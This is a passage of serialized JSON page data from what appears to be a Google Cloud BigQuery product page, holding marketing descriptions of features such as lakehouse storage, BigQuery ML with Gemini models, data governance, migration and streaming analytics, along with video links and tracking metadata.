Next"]],[[null,null,"https://www.youtube.com/watch?v\u003d8FHlTpOXA1E\u0026t\u003d4s"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","8fhltpoxa1e"],["track-name","what's new with bigquery at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/ry0taZRojSJFMdP32qCM6OKpA-RiXA4GWyvvTfvpO_tGBIZiZzQUZbvOvaITR0lrffxpjq_EpfbN"],null,null,true,null,null,null,null,[null,"BigQuery unified platform"]],[null,null,"https://www.youtube.com/watch?v\u003d8FHlTpOXA1E\u0026t\u003d4s"],[2782]]]]],null,"bring-multiple-engines-to-a-single-copy-of-data"],[[[null,[null,"Manage all data types and open formats"],[null,"\u003cp\u003eUse BigQuery to manage all data types \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/omni-introduction\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eacross clouds\u003c/a\u003e, structured and unstructured, with fine-grained access controls. Support for open table formats gives you the flexibility to use existing open source and legacy tools while getting the benefits of an integrated data platform. BigLake, \u003ca href\u003d\"https://cloud.google.com/biglake?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery’s storage engine\u003c/a\u003e, lets you have a common way to work with data and makes \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/query-open-table-format-using-manifest-files\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eopen formats like Apache Iceberg, Delta, and Hudi\u003c/a\u003e. Read new research on \u003ca href\u003d\"https://research.google/pubs/biglake-bigquerys-evolution-toward-a-multi-cloud-lakehouse/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery's Evolution toward a Multi-Cloud Lakehouse\u003c/a\u003e.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Build an open and fully managed lakehouse with BigQuery at Next"]],[[null,null,"https://youtu.be/LIMnhzJWmLQ"],null,12,{"10000":[[["track-metadata-eventdetail","youtu.be/limnhzjwmlq"],["track-metadata-module","product v3 features"],["track-metadata-video-id","limnhzjwmlq"],["track-name","build an open and fully managed lakehouse with bigquery at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/k5d9dj1o0aAQJzPNCGtZLYKO84hGvasDQE7y2ZqNNMEMoKA02qu9bPC1Q0Wr7UKW5ZdILRyVUzpXGQ"],null,null,true,null,null,null,null,[null,"Build a lakehouse with BigQuery"]],[null,null,"https://youtu.be/LIMnhzJWmLQ"],[2526]]]]],null,"manage-all-data-types-and-open-formats"],[[[null,[null,"Built-in machine learning"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bqml-introduction?utm_source\u003dconcord\u0026amp;utm_medium\u003demail\u0026amp;utm_campaign\u003dFY24-global-email-product-attach\u0026amp;utm_content\u003d-\u0026amp;utm_term\u003d-\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery ML\u003c/a\u003e provides built-in capabilities to create and run ML models for your BigQuery data. You can leverage a \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/bqml-introduction#supported_models?utm_source\u003dconcord\u0026amp;utm_medium\u003demail\u0026amp;utm_campaign\u003dFY24-global-email-product-attach\u0026amp;utm_content\u003d-\u0026amp;utm_term\u003d-\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ebroad range of models\u003c/a\u003e for predictions, and access the latest \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/bring-generative-ai-to-bigquery-with-vertex-ai-integration?e\u003d48754805\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini models\u003c/a\u003e to derive insights from all data types and unlock generative AI tasks, such as text summarization, text generation, \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-bigquery-text-embeddings\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003emultimodal embeddings\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/introducing-new-vector-search-capabilities-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003evector search\u003c/a\u003e. It increases the model development speed by directly bringing ML to your data and eliminating the need to move data from BigQuery.\u003c/p\u003e"]]],null,[null,null,[13,[[[[null,"VIDEO"],null,[null,"Analyze data in BigQuery using Gemini models"]],[[null,null,"https://www.youtube.com/watch?v\u003d0RMT8uEplbM"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","0rmt8ueplbm"],["track-name","analyze data in bigquery using gemini models"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/zll06iKjCh09TY-DMT8IDShQuzJ0311cs7t6JJQeERUbWaBS6W63UQGulCFMA2zeVo0V4BLDnfrg"],null,null,true,null,null,null,null,[null,"How to accelerate machine learning with BigQuery ML"]],[null,null,"https://www.youtube.com/watch?v\u003d0RMT8uEplbM"],[430]]]]],null,"built-in-machine-learning"],[[[null,[null,"Built-in data governance"],[null,"\u003cp\u003e\u003ca href\u003d\"https://cloud.google.com/dataplex\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eData governance \u003c/a\u003eis built into BigQuery, including full integration of Dataplex capabilities, such as a unified metadata catalog, data quality, lineage, and profiling. Customers can use rich AI-driven metadata search and discovery capabilities for assets, including dataset schemas, notebooks and reports, public and commercial dataset listings, and more. BigQuery users can also use governance rules to manage policies on BigQuery object tables.\u003c/p\u003e"]]],null,[null,null,[13,[[[null,null,[null,"Data and AI governance at Next"]],[[null,null,"https://www.youtube.com/watch?v\u003d3A855rN_9pE"],null,12,{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 features"],["track-metadata-video-id","3a855rn 9pe"],["track-name","data and ai governance at next"]],192559]}]],null,[[[null,null,"https://lh3.googleusercontent.com/hcs7yG6HKLteCsSvda5W3sHkYLAe8Ojp72Yd8LVgeWLlsBFOeFYT2-04murGa9ILIBCxGBXsRGLP"],null,null,true,null,null,null,null,[null,"AI and data governance"]],[null,null,"https://www.youtube.com/watch?v\u003d3A855rN_9pE"],[2730]]]]],null,"built-in-data-governance"],[[[null,[null,"Enterprise capabilities "],[null,"\u003cp\u003eBigQuery continues to build new enterprise capabilities. Cross-region disaster recovery provides managed failover in the unlikely event of a regional disaster as well as \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/reliability-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edata backup and recovery features\u003c/a\u003e to help you recover from user errors. BigQuery \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/admin-resource-charts\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eoperational health monitoring\u003c/a\u003e provides organization-wide views of your BigQuery operational environment. \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/migration-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eBigQuery Migration Services\u003c/a\u003e provides a comprehensive collection of tools for migrating to BigQuery from legacy or cloud data warehouses.\u003c/p\u003e"]]],null,[],null,"enterprise-capabilities"],[[[null,[null,"Real-time analytics with streaming data pipelines"],[null,"\u003cp\u003eBigQuery can ingest streaming data and make it immediately available to query and integrate to \u003ca href\u003d\"https://cloud.google.com/dataflow\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003estreaming products\u003c/a\u003e, like Dataflow. Accelerate query performance and reduce costs within BigQuery with \u003ca href\u003d\"https://cloud.google.com/bigquery/docs/materialized-views-intro\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003ematerialized views\u003c/a\u003e. Continuous queries is a new BigQuery feature that unlocks continuous analytical processing through a SQL statement to fuel event-driven applications. Read our latest research on \u003ca href\u003d\"https://research.google/pubs/vortex-a-stream-oriented-storage-engine-for-big-data-analytics/\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eVortex: A Stream-oriented Storage Engine For Big Data Analytics\u003c/a\u003e.\u003c/p\u003e"]]],null,[],null,"real-time-analytics-with-streaming-data-pipelines"],[[[null,[null,"Share insights with built-in business intelligence"],[null,"\u003cp\u003eWith built-in business intelligence, create and share insights in a few clicks with \u003ca href\u003d\"https://lookerstudio.google.com/overview\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eLooker Studio\u003c/a\u003e or build data-rich experiences that go beyond BI with \u003ca href\u003d\"https://cloud.google.com/looker\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eLooker\u003c/a\u003e. Analyze billions of rows of live BigQuery data in Google Sheets with familiar tools, like pivot tables, charts, and formulas, to easily derive insights from big data with \u003ca href\u003d\"https://cloud.google.com/blog/products/g-suite/connected-sheets-is-generally-available\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eConnected Sheets\u003c/a\u003e. \u003c/p\u003e"]]],null,[],null,"share-insights-with-built-in-business-intelligence"]]],{"10000":[[["track-metadata-module","product v3 features"]],191767]}],[71,null,null,null,null,null,null,null,null,null,null,[[[null,[null,"\u003cp\u003eBigQuery's serverless architecture lets you use SQL queries to analyze your data. You can store and analyze your data within BigQuery or use BigQuery to assess your data where it lives. To test how it works for yourself, query data—without a credit card—using the BigQuery sandbox.\u003c/p\u003e"],[null,"Demo: Solving business challenges with an end-to-end analysis in BigQuery"]],[[null,null,"https://cloud.google.com/bigquery/docs/sandbox"],"Run sample query",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/sandbox"],["track-metadata-module","how it works"],["track-metadata-module_headline","bigquery's serverless architecture lets you use sql queries to analyze your data. you can store and analyze your data within bigquery or use bigquery to assess your data where it lives. to test how it works for yourself, query data—without a credit card—using the bigquery sandbox."],["track-name","run sample query"]],192553]}]],null,[[[null,null,"https://lh3.googleusercontent.com/8wK5MbERaqN7zp3dorb2lGN5dNfhQ4H8X9tsDBph1lIFBShZuQRO18dKItspZbpVC3Z7F0lpCTY"],null,null,true,null,[null,"Demo: Solving business challenges with an end-to-end analysis in BigQuery "],null,null,[null,"BigQuery product UI"]],[null,null,"https://www.youtube.com/watch?v\u003dg-f_mWXK9sU"],[],{"10000":[[["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","how it works"],["track-metadata-module_headline","bigquery's serverless architecture lets you use sql queries to analyze your data. you can store and analyze your data within bigquery or use bigquery to assess your data where it lives. to test how it works for yourself, query data—without a credit card—using the bigquery sandbox."],["track-metadata-video-id","g-f mwxk9su"],["track-name","bigquery product ui"]],192559]}]],{"10000":[[["track-metadata-module","how it works"]],191761],"10002":"bigquerys-serverless-architecture-lets-you-use-sql-queries-to-analyze-your-data-you-can-store-and-analyze-your-data-within-bigquery-or-use-bigquery-to-assess-your-data-where-it-lives-to-test-how-it-works-for-yourself-query-data—without-a-credit-card—using-the-bigquery-sandbox"}],[79,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,[null,[[[[null,[null,"Generative AI"]]],[[[[[[null,[null,"\u003cp\u003eUnlock generative AI use cases with BigQuery and Gemini models\u003c/p\u003e"],[null,"\u003cp\u003eBuild data pipelines that blend structured data, unstructured data, and generative AI models together to create a new class of analytical applications. BigQuery integrates with \u003ca href\u003d\"https://cloud.google.com/vertex-ai/docs/generative-ai/model-reference/gemini\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eGemini 1.0 Pro\u003c/a\u003e using \u003ca href\u003d\"https://cloud.google.com/vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eVertex AI\u003c/a\u003e. The Gemini 1.0 Pro model is designed for higher input/output scale and better result quality across a wide range of tasks like text summarization and sentiment analysis. You can now access it using simple SQL statements or BigQuery’s embedded \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/building-aiml-apps-in-python-with-bigquery-dataframes\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eDataFrame API\u003c/a\u003e from right inside the BigQuery console.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"],"Learn more about BigQuery and Vertex AI integrations",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-generate-text"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","learn more about bigquery and vertex ai integrations"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/Qz995PaAazDPcm8oPOQres3Xr1dl0eK_Rd8cBv9D9rvDRwpdGVdM11gCH8Ti__7t7uP6V3unfCg"],null,null,true,null,null,null,null,[null,"Generative AI use cases"]]],[[[[null,[null,"\u003cp\u003eLearn how to get started with Generative AI in BigQuery\u003c/p\u003e"]],[[null,null,"https://www.cloudskillsboost.google/focuses/2157?catalog_rank\u003d%7B%22rank%22%3A1%2C%22num_filters%22%3A0%2C%22has_search%22%3Atrue%7D\u0026parent\u003dcatalog\u0026search_id\u003d30041578"],null,11,{"10000":[[["track-metadata-child_headline","learn how to get started with generative ai in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","www.cloudskillsboost.google/focuses/2157"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","learn how to get started with generative ai in bigquery"]],192558]}]]],[[[null,[null,"\u003cp\u003eRead the latest innovations on BigQuery's integrations with Vertex AI\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/blog/products/data-analytics/gemini-pro-available-in-bigquery-through-vertex-ai"],null,4,{"10000":[[["track-metadata-child_headline","read the latest innovations on bigquery's integrations with vertex ai"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/blog/products/data-analytics/gemini-pro-available-in-bigquery-through-vertex-ai"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","unlock generative ai use cases with bigquery and gemini models"],["track-name","read the latest innovations on bigquery's integrations with vertex ai"]],192551]}]]]]],1]],"generative-ai"],[[[null,[null,"Data warehouse migration"]]],[[[[[[null,[null,"\u003cp\u003eMigrate data warehouses to BigQuery\u003c/p\u003e"],[null,"\u003cp\u003eSolve for today’s analytics demands and seamlessly scale your business by moving to Google Cloud’s enterprise data warehouse. Streamline your migration path from Netezza, Oracle, Redshift, Teradata, or Snowflake to BigQuery using the free and fully managed BigQuery Migration Service.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration-intro"],"Learn about BigQuery Migration Service for a comprehensive data warehouse migration",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration-intro"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","learn about bigquery migration service for a comprehensive data warehouse migration"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/9PLrpRHp1bViC1NFuK_-NscEp0MK2xUj3aLLoCCSMFsOTErzv2l1gmJX82dJ1WCkiatvk97KDihBtA"],null,null,true,null,null,null,null,[null,"Cloud Data warehouse migration diagram"]]],[[[[null,[null,"\u003cp\u003eAmazon Redshift to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/redshift-overview"],null,6,{"10000":[[["track-metadata-child_headline","amazon redshift to bigquery migration guide"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/redshift-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","amazon redshift to bigquery migration guide"]],192553]}]]],[[[null,[null,"\u003cp\u003eTeradata to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/teradata-overview"],null,6,{"10000":[[["track-metadata-child_headline","teradata to bigquery migration guide"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/teradata-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","teradata to bigquery migration guide"]],192553]}]]],[[[null,[null,"\u003cp\u003eSnowflake to BigQuery migration guide\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/migration/snowflake-overview"],null,6,{"10000":[[["track-metadata-child_headline","snowflake to bigquery migration guide"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/migration/snowflake-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","migrate data warehouses to bigquery"],["track-name","snowflake to bigquery migration guide"]],192553]}]]]]],1]],"data-warehouse-migration"],[[[null,[null,"Transfer data into BigQuery"]]],[[[[[[null,[null,"\u003cp\u003eBring any data into BigQuery\u003c/p\u003e"],[null,"\u003cp\u003eMake analytics easier by bringing together data from multiple sources into BigQuery. You can upload data files from local sources, Google Drive, or Cloud Storage buckets, use BigQuery Data Transfer Service (DTS), Cloud Data Fusion plugins, replicate data from relational databases with Datastream for BigQuery, or leverage Google's industry-leading data integration partnerships. \u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/third-party-transfer"],"Learn about third-party transfers",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/third-party-transfer"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","learn about third-party transfers"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/MGW2wd83-4PeRwJPnYQ5bba66-VkzbPxtGtjXfQ8gAiTDYEYJjlqmJQwWRgoxPhXlz2e4rXQbeD8Dg"],null,null,true,null,null,null,null,[null,"ways to bring data into BigQuery"]]],[[[[null,[null,"\u003cp\u003eAutomate \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003edata movement\u003c/span\u003e into BigQuery with DTS\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/dts-introduction"],null,6,{"10000":[[["track-metadata-child_headline","automate data movement into bigquery with dts"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/bigquery/docs/dts-introduction"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","automate data movement into bigquery with dts"]],192553]}]]],[[[null,[null,"\u003cp\u003e\u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eDeploy data pipelines\u003c/span\u003e into BigQuery with Data Fusion\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/data-fusion/plugins"],{"10000":[[["track-metadata-child_headline","deploy data pipelines into bigquery with data fusion"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","cloud.google.com/data-fusion/plugins"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","bring any data into bigquery"],["track-name","deploy data pipelines into bigquery with data fusion"]]]}]]]]],1]],"transfer-data-into-bigquery"],[[[null,[null,"Unlock value from all data types"]]],[[[[[[null,[null,"\u003cp\u003eDerive insights from \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eimages\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocuments\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eaudio files\u003c/a\u003e and combine with structured data\u003c/p\u003e"],[null,"\u003cp\u003eUnstructured data represents a large portion of untapped enterprise data. However, it can be challenging to interpret, making it difficult to extract meaningful insights from it. Leveraging the power of BigLake, you can derive insights from \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eimages\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocuments\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003eaudio files\u003c/a\u003e using a broad range of AI models, including Vertex AI’s \u003ca href\u003d\"https://cloud.google.com/vision?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003evision\u003c/a\u003e, \u003ca href\u003d\"https://cloud.google.com/document-ai/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edocument processing\u003c/a\u003e, and \u003ca href\u003d\"https://cloud.google.com/speech-to-text/?hl\u003den\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003espeech-to-text\u003c/a\u003e APIs, open-source TensorFlow Hub models, or your own custom models.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/ai-application-overview?utm_source\u003dconcord\u0026utm_medium\u003demail\u0026utm_campaign\u003dFY24-global-email-product-attach\u0026utm_content\u003d-\u0026utm_term\u003d-"],"Learn more about unstructured data analysis ",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/ai-application-overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","derive insights from images \u003c://cloud.google.com/blog/products/data-analytics/how-simplify-unstructured-data-analytics-using-bigquery-ml-and-vertex-ai\u003e, documents \u003c://cloud.google.com/document-ai/?hl\u003den\u003e, and audio files \u003c://cloud.google.com/blog/products/data-analytics/vertex-ai-transcription-models-are-available-in-bigquery\u003e and combine with structured data"],["track-name","learn more about unstructured data analysis"]],192553]}]],[[null,null,"https://lh3.googleusercontent.com/mJN0js2LTSrHjomhY4RG_xYjJPkH_AOU-m5I_JiMogTGp1hL1mrEr38YAqcoa7SmY2VfPd6lJpk"],null,null,true,null,null,null,null,[null,"Google Cloud infrastructure diagram"]]]],1]],"unlock-value-from-all-data-types"],[[[null,[null,"Pre-configured data solutions"]]],[[[[[[null,[null,"\u003cp\u003eDeploy a preconfigured data warehouse in the Google Cloud console\u003c/p\u003e"],[null,"\u003cp\u003eDeploy an example \u003ca href\u003d\"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/data-warehouse\" rel\u003d\"noopener noreferrer\" target\u003d\"_blank\"\u003edata warehouse solution\u003c/a\u003e to explore, analyze, and visualize data using BigQuery and Looker Studio. Plus, apply generative AI to summarize the results of the analysis.\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/data-warehouse"],"Deploy in console",1,{"10000":[[["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","deploy in console"]],192548]}]],[[null,null,"https://www.gstatic.com/bricks/image/b4fdb6e51f5c5462eacf4b8476b92560e7e3cdc2542fc4da4bbc0851ad481ae2.svg"]]],[[[[null,[null,"\u003cp\u003eDeploy a Google-recommended \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eanalytics lakehouse solution\u003c/span\u003e\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/analytics-lakehouse"],null,1,{"10000":[[["track-metadata-child_headline","deploy a google-recommended analytics lakehouse solution"],["track-metadata-child_index","1"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","deploy a google-recommended analytics lakehouse solution"]],192548]}]]],[[[null,[null,"\u003cp\u003e\u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eSummarize large documents\u003c/span\u003e with AI\u003c/p\u003e"]],[[null,null,"https://console.cloud.google.com/freetrial?redirectPath\u003d/products/solutions/details/generative-ai-document-summarization"],null,1,{"10000":[[["track-metadata-child_headline","summarize large documents with ai"],["track-metadata-child_index","2"],["track-metadata-child_total","2"],["track-metadata-eventdetail","console.cloud.google.com/freetrial"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","deploy a preconfigured data warehouse in the google cloud console"],["track-name","summarize large documents with ai"]],192548]}]]]]],1]],"pre-configured-data-solutions"],[[[null,[null,"Real-time analytics"]]],[[[[[[null,[null,"\u003cp\u003eEvent-driven analysis\u003c/p\u003e"],[null,"\u003cp\u003eGain a competitive advantage by responding to business events in real time with event-driven analysis. Built-in streaming capabilities automatically ingest streaming data and make it immediately available to query. This allows you to stay agile and make business decisions based on the freshest data. Or use Dataflow to enable fast, simplified streaming data pipelines for a comprehensive solution.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/bigquery/docs/streaming-data-into-bigquery"],"Learn more about streaming data into BigQuery",6,{"10000":[[["track-metadata-eventdetail","cloud.google.com/bigquery/docs/streaming-data-into-bigquery"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","event-driven analysis"],["track-name","learn more about streaming data into bigquery"]],192553]}]],[[null,null,"https://www.gstatic.com/bricks/image/590bae7ee39fd931767c925e8e0139c712c4eda70686ff45ea360c19a12fb2fb.svg"],null,null,null,null,null,null,null,[null,"streaming analytics architecture"]]]],1]],"real-time-analytics"],[[[null,[null,"Predictive analytics"]]],[[[[[[null,[null,"\u003cp\u003ePredict business outcomes with leading AI/ML\u003c/p\u003e"],[null,"\u003cp\u003ePredictive analytics can be used to streamline operations, boost revenue, and mitigate risk. BigQuery ML democratizes the use of ML by empowering data analysts to build and run models using existing business intelligence tools and spreadsheets. Predictive analytics can guide business decision-making across the organization.\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/reference-patterns/overview"],"View analytics design patterns for predictive analytics use cases",{"10000":[[["track-metadata-eventdetail","cloud.google.com/architecture/reference-patterns/overview"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","view analytics design patterns for predictive analytics use cases"]]]}]],[[null,null,"https://lh3.googleusercontent.com/3F74UarzeBKKKND8WRD8unc1SyVytFjn5ZxZ1cpheAyo3WL_xGM1YfzjoNeR_YsqA3dSC94tOo67"],null,null,true,null,null,null,null,[null,"ML diagram"]]],[[[[null,[null,"\u003cp\u003eBuild an \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003ee-commerce recommendation\u003c/span\u003e system\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/building-a-recommendation-system-with-bigqueryml"],{"10000":[[["track-metadata-child_headline","build an e-commerce recommendation system"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/building-a-recommendation-system-with-bigqueryml"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","build an e-commerce recommendation system"]]]}]]],[[[null,[null,"\u003cp\u003ePredict \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003ecustomer lifetime value\u003c/span\u003e\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/clv-prediction-with-offline-training-intro"],{"10000":[[["track-metadata-child_headline","predict customer lifetime value"],["track-metadata-child_index","2"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/clv-prediction-with-offline-training-intro"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","predict customer lifetime value"]]]}]]],[[[null,[null,"\u003cp\u003eBuild a \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003epropensity to purchase\u003c/span\u003e solution\u003c/p\u003e"]],[[null,null,"https://cloud.google.com/architecture/predicting-customer-propensity-to-buy"],{"10000":[[["track-metadata-child_headline","build a propensity to purchase solution"],["track-metadata-child_index","3"],["track-metadata-child_total","3"],["track-metadata-eventdetail","cloud.google.com/architecture/predicting-customer-propensity-to-buy"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","predict business outcomes with leading ai/ml"],["track-name","build a propensity to purchase solution"]]]}]]]]],1]],"predictive-analytics"],[[[null,[null,"Log analytics"]]],[[[[[[null,[null,"\u003cp\u003eAnalyze log data\u003c/p\u003e"],[null,"\u003cp\u003eAnalyze and gain deeper insights into your logging data with BigQuery. You can store, explore, and run queries on generated data from servers, sensors, and other devices simply using GoogleSQL. Additionally, you can analyze log data alongside the rest of your business data for broader analysis all natively within BigQuery. \u003c/p\u003e"]],[[null,null,"https://www.cloudskillsboost.google/focuses/6100?parent\u003dcatalog"],"Learn how to analyze logs using BigQuery",11,{"10000":[[["track-metadata-eventdetail","www.cloudskillsboost.google/focuses/6100"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-name","learn how to analyze logs using bigquery"]],192558]}]]],[[[[null,[null,"\u003cp\u003eVideo: How to \u003cspan style\u003d\"color: rgb(66, 133, 244);\"\u003eanalyze log data\u003c/span\u003e in BigQuery\u003c/p\u003e"]],[[null,null,"https://www.youtube.com/watch?v\u003dFIRbVmqpyw0"],null,12,{"10000":[[["track-metadata-child_headline","video: how to analyze log data in bigquery"],["track-metadata-child_index","1"],["track-metadata-child_total","3"],["track-metadata-eventdetail","www.youtube.com/watch"],["track-metadata-module","product v3 common uses"],["track-metadata-module_headline","analyze log data"],["track-metadata-video-id","firbvmqpyw0"],["track-name","video: how to analyze log data in bigquery"]],192559]}]]],[[[null,[null,"\u003cp\u003eSample \u003cspan style\u003d\"color: rgb(66, 133, 